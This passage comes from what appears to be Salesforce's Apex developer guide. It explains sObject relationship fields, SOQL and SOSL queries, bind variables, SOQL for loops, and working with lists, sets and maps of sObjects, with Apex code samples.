The ID field can be used to change the account with which the contact is associated, while the sObject reference field can be used to
access data from the account. The reference field is only populated as the result of a SOQL or SOSL query (see note).
For example, the following Apex code shows how an account and a contact can be associated with one another, and then how the
contact can be used to modify a field on the account:
Note: To provide the most complete example, this code uses some elements that are described later in this guide:
•For information on insert and update, see Insert Statement on page 606 and Update Statement on page 606.
Account a = new Account(Name = 'Acme');
insert a; // Inserting the record automatically assigns a
// value to its ID field
Contact c = new Contact(LastName = 'Weissman');
c.AccountId = a.Id;
// The new contact now points at the new account
insert c;
// A SOQL query accesses data for the inserted contact,
// including a populated c.account field
c = [SELECT Account.Name FROM Contact WHERE Id = :c.Id];
// Now fields in both records can be changed through the contact
c.Account.Name = 'salesforce.com';
c.LastName = 'Roth';
// To update the database, the two types of records must be
146
Accessing sObject Fields Through RelationshipsWorking with Data in Apex
// updated separately
update c; // This only changes the contact's last name
update c.Account; // This updates the account name
Note: The expression c.Account.Name, and any other expression that traverses a relationship, displays slightly different
characteristics when it is read as a value than when it is modified:
•When being read as a value, if c.Account is null, then c.Account.Name evaluates to null, but does not yield a
NullPointerException. This design allows developers to navigate multiple relationships without the tedium of having
to check for null values.
•When being modified, if c.Account is null, then c.Account.Name does yield a NullPointerException.
In SOSL, you would access data for the inserted contact in a similar way to the SELECT statement used in the previous SOQL example.
List<List<SObject>> searchList = [FIND 'Acme' IN ALL FIELDS RETURNING
Contact(id,Account.Name)]
In addition, the sObject field key can be used with insert, update, or upsert to resolve foreign keys by external ID. For example:
Account refAcct = new Account(externalId__c = '12345');
Contact c = new Contact(Account = refAcct, LastName = 'Kay');
insert c;
This inserts a new contact with the AccountId equal to the account with the external_id equal to ‘12345’. If there is no such
account, the insert fails.
Tip: The following code is equivalent to the code above. However, because it uses a SOQL query, it is not as efficient. If this code
was called multiple times, it could reach the execution limit for the maximum number of SOQL queries. For more information on
execution limits, see Execution Governors and Limits on page 274.
Account refAcct = [SELECT Id FROM Account WHERE externalId__c='12345'];
Contact c = new Contact(Account = refAcct.Id);
insert c;
Understanding Foreign Key and Parent-Child Relationship SOQL Queries
The SELECT statement of a SOQL query can be any valid SOQL statement, including foreign key and parent-child record joins. If foreign
key joins are included, the resulting sObjects can be referenced using normal field notation. For example:
System.debug([SELECT Account.Name FROM Contact
WHERE FirstName = 'Caroline'].Account.Name);
Additionally, parent-child relationships in sObjects act as SOQL queries as well. For example:
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts)
FROM Account
WHERE Name = 'Acme']) {
Contact[] cons = a.Contacts;
}
//The following example also works because we limit to only 1 contact
147
Understanding Foreign Key and Parent-Child Relationship
SOQL Queries
Working with Data in Apex
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts LIMIT 1)
FROM Account
WHERE Name = 'testAgg']) {
Contact c = a.Contacts;
}
Working with SOQL Aggregate Functions
Aggregate functions in SOQL, such as SUM() and MAX(), allow you to roll up and summarize your data in a query. For more information
on aggregate functions, see ”Aggregate Functions” in the Salesforce SOQL and SOSL Reference Guide.
You can use aggregate functions without using a GROUP BY clause. For example, you could use the AVG() aggregate function to
find the average Amount for all your opportunities.
AggregateResult[] groupedResults
= [SELECT AVG(Amount)aver FROM Opportunity];
Object avgAmount = groupedResults[0].get('aver');
Note that any query that includes an aggregate function returns its results in an array of AggregateResult objects. AggregateResult is a
read-only sObject and is only used for query results.
Aggregate functions become a more powerful tool to generate reports when you use them with a GROUP BY clause. For example,
you could find the average Amount for all your opportunities by campaign.
AggregateResult[] groupedResults
= [SELECT CampaignId, AVG(Amount)
FROM Opportunity
GROUP BY CampaignId];
for (AggregateResult ar : groupedResults) {
System.debug('Campaign ID' + ar.get('CampaignId'));
System.debug('Average amount' + ar.get('expr0'));
}
Any aggregated field in a SELECT list that does not have an alias automatically gets an implied alias with a format expri, where i
denotes the order of the aggregated fields with no explicit aliases. The value of i starts at 0 and increments for every aggregated field
with no explicit alias. For more information, see ”Using Aliases with GROUP BY” in the Salesforce SOQL and SOSL Reference Guide.
Note: Queries that include aggregate functions are subject to the same governor limits as other SOQL queries for the total number
of records returned. This limit includes any records included in the aggregation, not just the number of rows returned by the query.
If you encounter this limit, you should add a condition to the WHERE clause to reduce the amount of records processed by the
query.
Working with Very Large SOQL Queries
Your SOQL query sometimes returns so many sObjects that the limit on heap size is exceeded and an error occurs. To resolve, use a SOQL
query for loop instead, since it can process multiple batches of records by using internal calls to query and queryMore.
For example, if the results are too large, this syntax causes a runtime exception:
Account[] accts = [SELECT Id FROM Account];
Instead, use a SOQL query for loop as in one of the following examples:
// Use this format if you are not executing DML statements
// within the for loop
148
Working with SOQL Aggregate FunctionsWorking with Data in Apex
for (Account a : [SELECT Id, Name FROM Account
WHERE Name LIKE 'Acme%']) {
// Your code without DML statements here
}
// Use this format for efficiency if you are executing DML statements
// within the for loop
for (List<Account> accts : [SELECT Id, Name FROM Account
WHERE Name LIKE 'Acme%']) {
// Your code here
update accts;
}
The following example demonstrates a SOQL query for loop that’s used to mass update records. Suppose that you want to change
the last name of a contact in records for contacts whose first and last names match specified criteria:
public void massUpdate() {
for (List<Contact> contacts:
[SELECT FirstName, LastName FROM Contact]) {
for(Contact c : contacts) {
if (c.FirstName == 'Barbara' &&
c.LastName == 'Gordon') {
c.LastName = 'Wayne';
}
}
update contacts;
}
}
Instead of using a SOQL query in a for loop, the preferred method of mass updating records is to use batch Apex, which minimizes
the risk of hitting governor limits.
For more information, see SOQL For Loops on page 155.
More Efficient SOQL Queries
For best performance, SOQL queries must be selective, particularly for queries inside triggers. To avoid long execution times, the system
can terminate nonselective SOQL queries. Developers receive an error message when a non-selective query in a trigger executes against
an object that contains more than 200,000 records. To avoid this error, ensure that the query is selective.
Selective SOQL Query Criteria
•A query is selective when one of the query filters is on an indexed field and the query filter reduces the resulting number of rows
below a system-defined threshold. The performance of the SOQL query improves when two or more filters used in the WHERE
clause meet the mentioned conditions.
•The selectivity threshold is 10% of the first million records and less than 5% of the records after the first million records, up to a
maximum of 333,333 records. In some circumstances, for example with a query filter that is an indexed standard field, the
threshold can be higher. Also, the selectivity threshold is subject to change.
Custom Index Considerations for Selective SOQL Queries
•The following fields are indexed by default.
–Primary keys (Id, Name, and OwnerId fields)
–Foreign keys (lookup or master-detail relationship fields)
–Audit dates (CreatedDate and SystemModstamp fields)
149
Working with Very Large SOQL QueriesWorking with Data in Apex
–RecordType fields (indexed for all standard objects that feature them)
–Custom fields that are marked as External ID or Unique
•When the Salesforce optimizer recognizes that an index can improve performance for frequently run queries, fields that aren’t
indexed by default are automatically indexed.
•Salesforce Support can add custom indexes on request for customers.
•A custom index can't be created on these types of fields: multi-select picklists, currency fields in a multicurrency organization,
long text fields, some formula fields, and binary fields (fields of type blob, file, or encrypted text.) New data types, typically complex
ones, are periodically added to Salesforce, and fields of these types don’t always allow custom indexing.
•You can’t create custom indexes on formula fields that include invocations of the TEXT function on picklist fields.
•Typically, a custom index isn’t used in these cases.
–The queried values exceed the system-defined threshold.
–The filter operator is a negative operator such as NOT EQUAL TO (or !=), NOT CONTAINS, and NOT STARTS
WITH.
–The CONTAINS operator is used in the filter, and the number of rows to be scanned exceeds 333,333. The CONTAINS
operator requires a full scan of the index. This threshold is subject to change.
–You’re comparing with an empty value (Name != '').
However, there are other complex scenarios in which custom indexes can’t be used. Contact your Salesforce representative if
your scenario isn't covered by these cases or if you need further assistance with non-selective queries.
Examples of Selective SOQL Queries
To better understand whether a query on a large object is selective or not, let's analyze some queries. For these queries, assume that
there are more than 200,000 records for the Account sObject. These records include soft-deleted records, that is, deleted records
that are still in the Recycle Bin.
Query 1:
SELECT Id FROM Account WHERE Id IN (<list of account IDs>)
The WHERE clause is on an indexed field (Id). If SELECT COUNT() FROM Account WHERE Id IN (<list of
account IDs>) returns fewer records than the selectivity threshold, the index on Id is used. This index is typically used when
the list of IDs contains only a few records.
Query 2:
SELECT Id FROM Account WHERE Name != ''
Since Account is a large object even though Name is indexed (primary key), this filter returns most of the records, making the query
non-selective.
Query 3:
SELECT Id FROM Account WHERE Name != '' AND CustomField__c = 'ValueA'
Here we have to see if each filter, when considered individually, is selective. As we saw in the previous example, the first filter isn't
selective. So let's focus on the second one. If the count of records returned by SELECT COUNT() FROM Account WHERE
CustomField__c = 'ValueA' is lower than the selectivity threshold, and CustomField__c is indexed, the query is selective.
150
Working with Very Large SOQL QueriesWorking with Data in Apex
Using SOQL Queries That Return One Record
SOQL queries can be used to assign a single sObject value when the result list contains only one element. When the L-value of an
expression is a single sObject type, Apex automatically assigns the single sObject record in the query result list to the L-value. A runtime
exception results if zero sObjects or more than one sObject is found in the list. For example:
List<Account> accts = [SELECT Id FROM Account];
// These lines of code are only valid if one row is returned from
// the query. Notice that the second line dereferences the field from the
// query without assigning it to an intermediary sObject variable.
Account acct = [SELECT Id FROM Account];
String name = [SELECT Name FROM Account].Name;
Improving Performance by Not Searching on Null Values
In your SOQL and SOSL queries, avoid searching records that contain null values. Filter out null values first to improve performance. In
the following example, any records where the treadID value is null are filtered out of the returned values.
Public class TagWS {
/* getThreadTags
*
* a quick method to pull tags not in the existing list
*
*/
public static webservice List<String>
getThreadTags(String threadId, List<String> tags) {
system.debug(LoggingLevel.Debug,tags);
List<String> retVals = new List<String>();
Set<String> tagSet = new Set<String>();
Set<String> origTagSet = new Set<String>();
origTagSet.addAll(tags);
// Note WHERE clause verifies that threadId is not null
for(CSO_CaseThread_Tag__c t :
[SELECT Name FROM CSO_CaseThread_Tag__c
WHERE Thread__c = :threadId AND
threadID != null])
{
tagSet.add(t.Name);
}
for(String x : origTagSet) {
// return a minus version of it so the UI knows to clear it
if(!tagSet.contains(x)) retVals.add('-' + x);
}
for(String x : tagSet) {
// return a plus version so the UI knows it's new
if(!origTagSet.contains(x)) retvals.add('+' + x);
}
151
Using SOQL Queries That Return One RecordWorking with Data in Apex
return retVals;
}
Working with Polymorphic Relationships in SOQL Queries
A polymorphic relationship is a relationship between objects where a referenced object can be one of several different types. For example,
the What relationship field of an Event could be an Account, a Campaign, or an Opportunity.
The following describes how to use SOQL queries with polymorphic relationships in Apex. If you want more general information on
polymorphic relationships, see Understanding Polymorphic Keys and Relationships in the Force.com SOQL and SOSL Reference.
You can use SOQL queries that reference polymorphic fields in Apex to get results that depend on the object type referenced by the
polymorphic field. One approach is to filter your results using the Type qualifier. This example queries Events that are related to an
Account or Opportunity via the What field.
List<Event> = [SELECT Description FROM Event WHERE What.Type IN ('Account','Opportunity')];
Another approach would be to use the TYPEOF clause in the SOQL SELECT statement. This example also queries Events that are
related to an Account or Opportunity via the What field.
List<Event> = [SELECT TYPEOF What WHEN Account THEN Phone WHEN Opportunity THEN Amount END
FROM Event];
Note: TYPEOF is currently available as a Developer Preview as part of the SOQL Polymorphism feature. For more information
on enabling TYPEOF for your organization, contact Salesforce.
These queries will return a list of sObjects where the relationship field references the desired object types.
If you need to access the referenced object in a polymorphic relationship, you can use the instanceof keyword to determine the object
type. The following example uses instanceof to determine whether an Account or Opportunity is related to an Event.
Event myEvent = eventFromQuery;
if (myEvent.What instanceof Account) {
// myEvent.What references an Account, so process accordingly
}else if (myEvent.What instanceof Opportunity) {
// myEvent.What references an Opportunity, so process accordingly
}
Note that you must assign the referenced sObject that the query returns to a variable of the appropriate type before you can pass it to
another method. The following example queries for User or Group owners of Merchandise__c custom objects using a SOQL query with
a TYPEOF clause, uses instanceof to determine the owner type, and then assigns the owner objects to User or Group type
variables before passing them to utility methods.
public class PolymorphismExampleClass {
// Utility method for a User
public static void processUser(User theUser) {
System.debug('Processed User');
}
// Utility method for a Group
public static void processGroup(Group theGroup) {
System.debug('Processed Group');
}
public static void processOwnersOfMerchandise() {
152
Working with Polymorphic Relationships in SOQL QueriesWorking with Data in Apex
// Select records based on the Owner polymorphic relationship field
List<Merchandise__c> merchandiseList = [SELECT TYPEOF Owner WHEN User THEN LastName
WHEN Group THEN Email END FROM Merchandise__c];
// We now have a list of Merchandise__c records owned by either a User or Group
for (Merchandise__c merch: merchandiseList) {
// We can use instanceof to check the polymorphic relationship type
// Note that we have to assign the polymorphic reference to the appropriate
// sObject type before passing to a method
if (merch.Owner instanceof User) {
User userOwner = merch.Owner;
processUser(userOwner);
}else if (merch.Owner instanceof Group) {
Group groupOwner = merch.Owner;
processGroup(groupOwner);
}
}
}
}
Using Apex Variables in SOQL and SOSL Queries
SOQL and SOSL statements in Apex can reference Apex code variables and expressions if they’re preceded by a colon (:). This use of a
local code variable within a SOQL or SOSL statement is called a bind. The Apex parser first evaluates the local variable in code context
before executing the SOQL or SOSL statement. Bind expressions can be used as:
•The search string in FIND clauses.
•The filter literals in WHERE clauses.
•The value of the IN or NOT IN operator in WHERE clauses, allowing filtering on a dynamic set of values. Note that this is of
particular use with a list of IDs or Strings, though it works with lists of any type.
•The division names in WITH DIVISION clauses.
•The numeric value in LIMIT clauses.
•The numeric value in OFFSET clauses.
Bind expressions can't be used with other clauses, such as INCLUDES.
For example:
Account A = new Account(Name='xxx');
insert A;
Account B;
// A simple bind
B = [SELECT Id FROM Account WHERE Id = :A.Id];
// A bind with arithmetic
B = [SELECT Id FROM Account
WHERE Name = :('x' +'xx')];
String s='XXX';
// A bind with expressions
B = [SELECT Id FROM Account
WHERE Name = :'XXXX'.substring(0,3)];
153
Using Apex Variables in SOQL and SOSL QueriesWorking with Data in Apex
// A bind with an expression that is itself a query result
B = [SELECT Id FROM Account
WHERE Name = :[SELECT Name FROM Account
WHERE Id = :A.Id].Name];
Contact C = new Contact(LastName='xxx', AccountId=A.Id);
insert new Contact[]{C, new Contact(LastName='yyy',
accountId=A.id)};
// Binds in both the parent and aggregate queries
B = [SELECT Id, (SELECT Id FROM Contacts
WHERE Id = :C.Id)
FROM Account
WHERE Id = :A.Id];
// One contact returned
Contact D = B.Contacts;
// A limit bind
Integer i = 1;
B = [SELECT Id FROM Account LIMIT :i];
// An OFFSET bind
Integer offsetVal = 10;
List<Account> offsetList = [SELECT Id FROM Account OFFSET :offsetVal];
// An IN-bind with an Id list. Note that a list of sObjects
// can also be used--the Ids of the objects are used for
// the bind
Contact[] cc = [SELECT Id FROM Contact LIMIT 2];
Task[] tt = [SELECT Id FROM Task WHERE WhoId IN :cc];
// An IN-bind with a String list
String[] ss = new String[]{'a','b'};
Account[] aa = [SELECT Id FROM Account
WHERE AccountNumber IN :ss];
// A SOSL query with binds in all possible clauses
String myString1 = 'aaa';
String myString2 = 'bbb';
Integer myInt3 = 11;
String myString4 = 'ccc';
Integer myInt5 = 22;
List<List<SObject>> searchList = [FIND :myString1 IN ALL FIELDS
RETURNING
Account (Id, Name WHERE Name LIKE :myString2
LIMIT :myInt3),
Contact,
Opportunity,
Lead
154
Using Apex Variables in SOQL and SOSL QueriesWorking with Data in Apex
WITH DIVISION =:myString4
LIMIT :myInt5];
Note: Apex bind variables aren’t supported for the units parameter in DISTANCE or GEOLOCATION functions. This query
doesn’t work.
String units = 'mi';
List<Account> accountList =
[SELECT ID, Name, BillingLatitude, BillingLongitude
FROM Account
WHERE DISTANCE(My_Location_Field__c, GEOLOCATION(10,10), :units) < 10];
Querying All Records with a SOQL Statement
SOQL statements can use the ALL ROWS keywords to query all records in an organization, including deleted records and archived
activities. For example:
System.assertEquals(2, [SELECT COUNT() FROM Contact WHERE AccountId = a.Id ALL ROWS]);
You can use ALL ROWS to query records in your organization's Recycle Bin. You cannot use the ALL ROWS keywords with the FOR
UPDATE keywords.
SOQL For Loops
SOQL for loops iterate over all of the sObject records returned by a SOQL query. The syntax of a SOQL for loop is either:
for (variable : [soql_query]) {
code_block
}
or
for (variable_list : [soql_query]) {
code_block
}
Both variable and variable_list must be of the same type as the sObjects that are returned by the soql_query.
As in standard SOQL queries, the [soql_query] statement can refer to code expressions in their WHERE clauses using the :
syntax. For example:
String s='Acme';
for (Account a : [SELECT Id, Name from Account
where Name LIKE :(s+'%')]) {
// Your code
}
The following example combines creating a list from a SOQL query, with the DML update method.
// Create a list of account records from a SOQL query
List<Account> accs = [SELECT Id, Name FROM Account WHERE Name = 'Siebel'];
// Loop through the list and update the Name field
155
Querying All Records with a SOQL StatementWorking with Data in Apex
for(Account a : accs){
a.Name = 'Oracle';
}
// Update the database
update accs;
SOQL For Loops Versus Standard SOQL Queries
SOQL for loops differ from standard SOQL statements because of the method they use to retrieve sObjects. While the standard queries
discussed in SOQL and SOSL Queries can retrieve either the count of a query or a number of object records, SOQL for loops retrieve
all sObjects, using efficient chunking with calls to the query and queryMore methods of the SOAP API. Developers should always
use a SOQL for loop to process query results that return many records, to avoid the limit on heap size.
Note that queries including an aggregate function don't support queryMore. A run-time exception occurs if you use a query containing
an aggregate function that returns more than 2,000 rows in a for loop.
SOQL For Loop Formats
SOQL for loops can process records one at a time using a single sObject variable, or in batches of 200 sObjects at a time using an
sObject list:
•The single sObject format executes the for loop's <code_block> once per sObject record. Consequently, it is easy to understand
and use, but is grossly inefficient if you want to use data manipulation language (DML) statements within the for loop body. Each
DML statement ends up processing only one sObject at a time.
•The sObject list format executes the for loop's <code_block> once per list of 200 sObjects. Consequently, it is a little more
difficult to understand and use, but is the optimal choice if you need to use DML statements within the for loop body. Each DML
statement can bulk process a list of sObjects at a time.
For example, the following code illustrates the difference between the two types of SOQL query for loops:
// Create a savepoint because the data should not be committed to the database
Savepoint sp = Database.setSavepoint();
insert new Account[]{new Account(Name = 'yyy'),
new Account(Name = 'yyy'),
new Account(Name = 'yyy')};
// The single sObject format executes the for loop once per returned record
Integer i = 0;
for (Account tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
i++;
}
System.assert(i == 3); // Since there were three accounts named 'yyy' in the
// database, the loop executed three times
// The sObject list format executes the for loop once per returned batch
// of records
i = 0;
Integer j;
for (Account[] tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
j = tmp.size();
i++;
156
SOQL For LoopsWorking with Data in Apex
}
System.assert(j == 3); // The list should have contained the three accounts
// named 'yyy'
System.assert(i == 1); // Since a single batch can hold up to 200 records and,
// only three records should have been returned, the
// loop should have executed only once
// Revert the database to the original state
Database.rollback(sp);
Note:
•The break and continue keywords can be used in both types of inline query for loop formats. When using the sObject
list format, continue skips to the next list of sObjects.
•DML statements can only process up to 10,000 records at a time, and sObject list for loops process records in batches of
200. Consequently, if you are inserting, updating, or deleting more than one record per returned record in an sObject list for
loop, it is possible to encounter runtime limit errors. See Execution Governors and Limits on page 274.
•You might get a QueryException in a SOQL for loop with the message Aggregate query has too many
rows for direct assignment, use FOR loop. This exception is sometimes thrown when accessing a large
set of child records (200 or more) of a retrieved sObject inside the loop, or when getting the size of such a record set. For
example, the query in the following SOQL for loop retrieves child contacts for a particular account. If this account contains
more than 200 child contacts, the statements in the for loop cause an exception.
for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts)
FROM Account WHERE Id IN ('<ID value>')]) {
List<Contact> contactList = acct.Contacts; // Causes an error
Integer count = acct.Contacts.size(); // Causes an error
}
To avoid getting this exception, use a for loop to iterate over the child records, as follows.
for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts)
FROM Account WHERE Id IN ('<ID value>')]) {
Integer count=0;
for (Contact c : acct.Contacts) {
count++;
}
}
sObject Collections
Lists of sObjects
Lists can contain sObjects among other types of elements. Lists of sObjects can be used for bulk processing of data.
You can use a list to store sObjects. Lists are useful when working with SOQL queries. SOQL queries return sObject data and this data
can be stored in a list of sObjects. Also, you can use lists to perform bulk operations, such as inserting a list of sObjects with one call.
To declare a list of sObjects, use the List keyword followed by the sObject type within <> characters. For example:
// Create an empty list of Accounts
List<Account> myList = new List<Account>();
157
sObject CollectionsWorking with Data in Apex
Auto-populating a List from a SOQL Query
You can assign a List variable directly to the results of a SOQL query. The SOQL query returns a new list populated with the records
returned. Make sure the declared List variable contains the same sObject that is being queried. Or you can use the generic sObject data
type.
This example shows how to declare and assign a list of accounts to the return value of a SOQL query. The query returns up to 1,000
returns account records containing the Id and Name fields.
// Create a list of account records from a SOQL query
List<Account> accts = [SELECT Id, Name FROM Account LIMIT 1000];
Adding and Retrieving List Elements
As with lists of primitive data types, you can access and set elements of sObject lists using the List methods provided by Apex. For
example:
List<Account> myList = new List<Account>(); // Define a new list
Account a = new Account(Name='Acme'); // Create the account first
myList.add(a); // Add the account sObject
Account a2 = myList.get(0); // Retrieve the element at index 0
Bulk Processing
You can bulk-process a list of sObjects by passing a list to the DML operation. This example shows how you can insert a list of accounts.
// Define the list
List<Account> acctList = new List<Account>();
// Create account sObjects
Account a1 = new Acount(Name='Account1');
Account a2 = new Acount(Name='Account2');
// Add accounts to the list
acctList.add(a1);
acctList.add(a2);
// Bulk insert the list
insert acctList;
Record ID Generation
Apex automatically generates IDs for each object in a list of sObjects when the list is successfully inserted or upserted into the database
with a data manipulation language (DML) statement. Consequently, a list of sObjects cannot be inserted or upserted if it contains the
same sObject more than once, even if it has a null ID. This situation would imply that two IDs would need to be written to the same
structure in memory, which is illegal.
For example, the insert statement in the following block of code generates a ListException because it tries to insert a list
with two references to the same sObject (a):
try {
// Create a list with two references to the same sObject element
Account a = new Account();
List<Account> accs = new List<Account>{a, a};
158
Lists of sObjectsWorking with Data in Apex
// Attempt to insert it...
insert accs;
// Will not get here
System.assert(false);
}catch (ListException e) {
// But will get here
}
Using Array Notation for One-Dimensional Lists of sObjects
Alternatively, you can use the array notation (square brackets) to declare and reference lists of sObjects.
For example, this declares a list of accounts using the array notation.
Account[] accts = new Account[1];
This example adds an element to the list using square brackets.
accts[0] = new Account(Name='Acme2');
These are some additional examples of using the array notation with sObject lists.
DescriptionExample
Defines an Account list with no elements.
List<Account> accts = new Account[]{};
Defines an Account list with memory allocated for three Accounts,
including a new Account object in the first position, null in the
List<Account> accts = new Account[]
{new Account(), null,new
Account()}; second position, and another new Account object in the third
position.
Defines the Contact list with a new list.
List<Contact> contacts = new List<Contact>
(otherList);
Sorting Lists of sObjects
Using the List.sort method, you can sort lists sObjects.
For sObjects, sorting is in ascending order and uses a sequence of comparison steps outlined in the next section. Alternatively, you can
also implement a custom sort order for sObjects by wrapping your sObject in an Apex class and implementing the Comparable
interface, as shown in Custom Sort Order of sObjects.
Default Sort Order of sObjects
The List.sort method sorts sObjects in ascending order and compares sObjects using an ordered sequence of steps that specify
the labels or fields used. The comparison starts with the first step in the sequence and ends when two sObjects are sorted using specified
labels or fields. The following is the comparison sequence used:
1. The label of the sObject type.
159
Sorting Lists of sObjectsWorking with Data in Apex
For example, an Account sObject will appear before a Contact.
2. The Name field, if applicable.
For example, if the list contains two accounts named A and B respectively, account A comes before account B.
3. Standard fields, starting with the fields that come first in alphabetical order, except for the Id and Name fields.
For example, if two accounts have the same name, the first standard field used for sorting is AccountNumber.
4. Custom fields, starting with the fields that come first in alphabetical order.
For example, suppose two accounts have the same name and identical standard fields, and there are two custom fields, FieldA and
FieldB, the value of FieldA is used first for sorting.
Not all steps in this sequence are necessarily carried out. For example, if a list contains two sObjects of the same type and with unique
Name values, they’re sorted based on the Name field and sorting stops at step 2. Otherwise, if the names are identical or the sObject
doesn’t have a Name field, sorting proceeds to step 3 to sort by standard fields.
For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order.
This is an example of sorting a list of Account sObjects. This example shows how the Name field is used to place the Acme account
ahead of the two sForce accounts in the list. Since there are two accounts named sForce, the Industry field is used to sort these remaining
accounts because the Industry field comes before the Site field in alphabetical order.
Account[] acctList = new List<Account>();
acctList.add( new Account(
Name='sForce',
Industry='Biotechnology',
Site='Austin'));
acctList.add(new Account(
Name='sForce',
Industry='Agriculture',
Site='New York'));
acctList.add(new Account(
Name='Acme'));
System.debug(acctList);
acctList.sort();
System.assertEquals('Acme', acctList[0].Name);
System.assertEquals('sForce', acctList[1].Name);
System.assertEquals('Agriculture', acctList[1].Industry);
System.assertEquals('sForce', acctList[2].Name);
System.assertEquals('Biotechnology', acctList[2].Industry);
System.debug(acctList);
This example is similar to the previous one, except that it uses the Merchandise__c custom object. This example shows how the Name
field is used to place the Notebooks merchandise ahead of Pens in the list. Since there are two merchandise sObjects with the Name
field value of Pens, the Description field is used to sort these remaining merchandise items because the Description field comes before
the Price and Total_Inventory fields in alphabetical order.
Merchandise__c[] merchList = new List<Merchandise__c>();
merchList.add( new Merchandise__c(
Name='Pens',
Description__c='Red pens',
Price__c=2,
Total_Inventory__c=1000));
160
Sorting Lists of sObjectsWorking with Data in Apex
merchList.add( new Merchandise__c(
Name='Notebooks',
Description__c='Cool notebooks',
Price__c=3.50,
Total_Inventory__c=2000));
merchList.add( new Merchandise__c(
Name='Pens',
Description__c='Blue pens',
Price__c=1.75,
Total_Inventory__c=800));
System.debug(merchList);
merchList.sort();
System.assertEquals('Notebooks', merchList[0].Name);
System.assertEquals('Pens', merchList[1].Name);
System.assertEquals('Blue pens', merchList[1].Description__c);
System.assertEquals('Pens', merchList[2].Name);
System.assertEquals('Red pens', merchList[2].Description__c);
System.debug(merchList);
Custom Sort Order of sObjects
To implement a custom sort order for sObjects in lists, create a wrapper class for the sObject and implement the Comparable interface.
The wrapper class contains the sObject in question and implements the compareTo method, in which you specify the sort logic.
This example shows how to create a wrapper class for Opportunity. The implementation of the compareTo method in this class
compares two opportunities based on the Amount field—the class member variable contained in this instance, and the opportunity
object passed into the method.
global class OpportunityWrapper implements Comparable {
public Opportunity oppy;
// Constructor
public OpportunityWrapper(Opportunity op) {
oppy = op;
}
// Compare opportunities based on the opportunity amount.
global Integer compareTo(Object compareTo) {
// Cast argument to OpportunityWrapper
OpportunityWrapper compareToOppy = (OpportunityWrapper)compareTo;
// The return value of 0 indicates that both elements are equal.
Integer returnValue = 0;
if (oppy.Amount > compareToOppy.oppy.Amount) {
// Set return value to a positive value.
returnValue = 1;
}else if (oppy.Amount < compareToOppy.oppy.Amount) {
// Set return value to a negative value.
returnValue = -1;
}
return returnValue;
161
Sorting Lists of sObjectsWorking with Data in Apex
}
}
This example provides a test for the OpportunityWrapper class. It sorts a list of OpportunityWrapper objects and verifies
that the list elements are sorted by the opportunity amount.
@isTest
private class OpportunityWrapperTest {
static testmethod void test1() {
// Add the opportunity wrapper objects to a list.
OpportunityWrapper[] oppyList = new List<OpportunityWrapper>();
Date closeDate = Date.today().addDays(10);
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='Edge Installation',
CloseDate=closeDate,
StageName='Prospecting',
Amount=50000)));
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='United Oil Installations',
CloseDate=closeDate,
StageName='Needs Analysis',
Amount=100000)));
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='Grand Hotels SLA',
CloseDate=closeDate,
StageName='Prospecting',
Amount=25000)));
// Sort the wrapper objects using the implementation of the
// compareTo method.
oppyList.sort();
// Verify the sort order
System.assertEquals('Grand Hotels SLA', oppyList[0].oppy.Name);
System.assertEquals(25000, oppyList[0].oppy.Amount);
System.assertEquals('Edge Installation', oppyList[1].oppy.Name);
System.assertEquals(50000, oppyList[1].oppy.Amount);
System.assertEquals('United Oil Installations', oppyList[2].oppy.Name);
System.assertEquals(100000, oppyList[2].oppy.Amount);
// Write the sorted list contents to the debug log.
System.debug(oppyList);
}
}
Expanding sObject and List Expressions
As in Java, sObject and list expressions can be expanded with method references and list expressions, respectively, to form new expressions.
In the following example, a new variable containing the length of the new account name is assigned to acctNameLength.
Integer acctNameLength = new Account[]{new Account(Name='Acme')}[0].Name.length();
In the above, new Account[] generates a list.
162
Expanding sObject and List ExpressionsWorking with Data in Apex
The list is populated with one element by the new statement {new Account(name='Acme')}.
Item 0, the first item in the list, is then accessed by the next part of the string [0].
The name of the sObject in the list is accessed, followed by the method returning the length name.length().
In the following example, a name that has been shifted to lower case is returned. The SOQL statement returns a list of which the first
element (at index 0) is accessed through [0]. Next, the Name field is accessed and converted to lowercase with this expression
.Name.toLowerCase().
String nameChange = [SELECT Name FROM Account][0].Name.toLowerCase();
Sets of Objects
Sets can contain sObjects among other types of elements.
Sets contain unique elements. Uniqueness of sObjects is determined by comparing the objects’ fields. For example, if you try to add two
accounts with the same name to a set, with no other fields set, only one sObject is added to the set.
// Create two accounts, a1 and a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount');
// Add both accounts to the new set
Set<Account> accountSet = new Set<Account>{a1, a2};
// Verify that the set only contains one item
System.assertEquals(accountSet.size(), 1);
If you add a description to one of the accounts, it is considered unique and both accounts are added to the set.
// Create two accounts, a1 and a2, and add a description to a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount', description='My test account');
// Add both accounts to the new set
Set<Account> accountSet = new Set<Account>{a1, a2};
// Verify that the set contains two items
System.assertEquals(accountSet.size(), 2);
Warning: If set elements are objects, and these objects change after being added to the collection, they won’t be found anymore
when using, for example, the contains or containsAll methods, because of changed field values.
Maps of sObjects
Map keys and values can be of any data type, including sObject types, such as Account.
Maps can hold sObjects both in their keys and values. A map key represents a unique value that maps to a map value. For example, a
common key would be an ID that maps to an account (a specific sObject type). This example shows how to define a map whose keys
are of type ID and whose values are of type Account.
Map<ID, Account> m = new Map<ID, Account>();
163
Sets of ObjectsWorking with Data in Apex
As with primitive types, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the
curly braces, specify the key first, then specify the value for that key using =>. This example creates a map of integers to accounts lists
and adds one entry using the account list created earlier.
Account[] accs = new Account[5]; // Account[] is synonymous with List<Account>
Map<Integer, List<Account>> m4 = new Map<Integer, List<Account>>{1 => accs};
Maps allow sObjects in their keys. You should use sObjects in the keys only when the sObject field values won’t change.
Auto-Populating Map Entries from a SOQL Query
When working with SOQL queries, maps can be populated from the results returned by the SOQL query. The map key should be declared
with an ID or String data type, and the map value should be declared as an sObject data type.
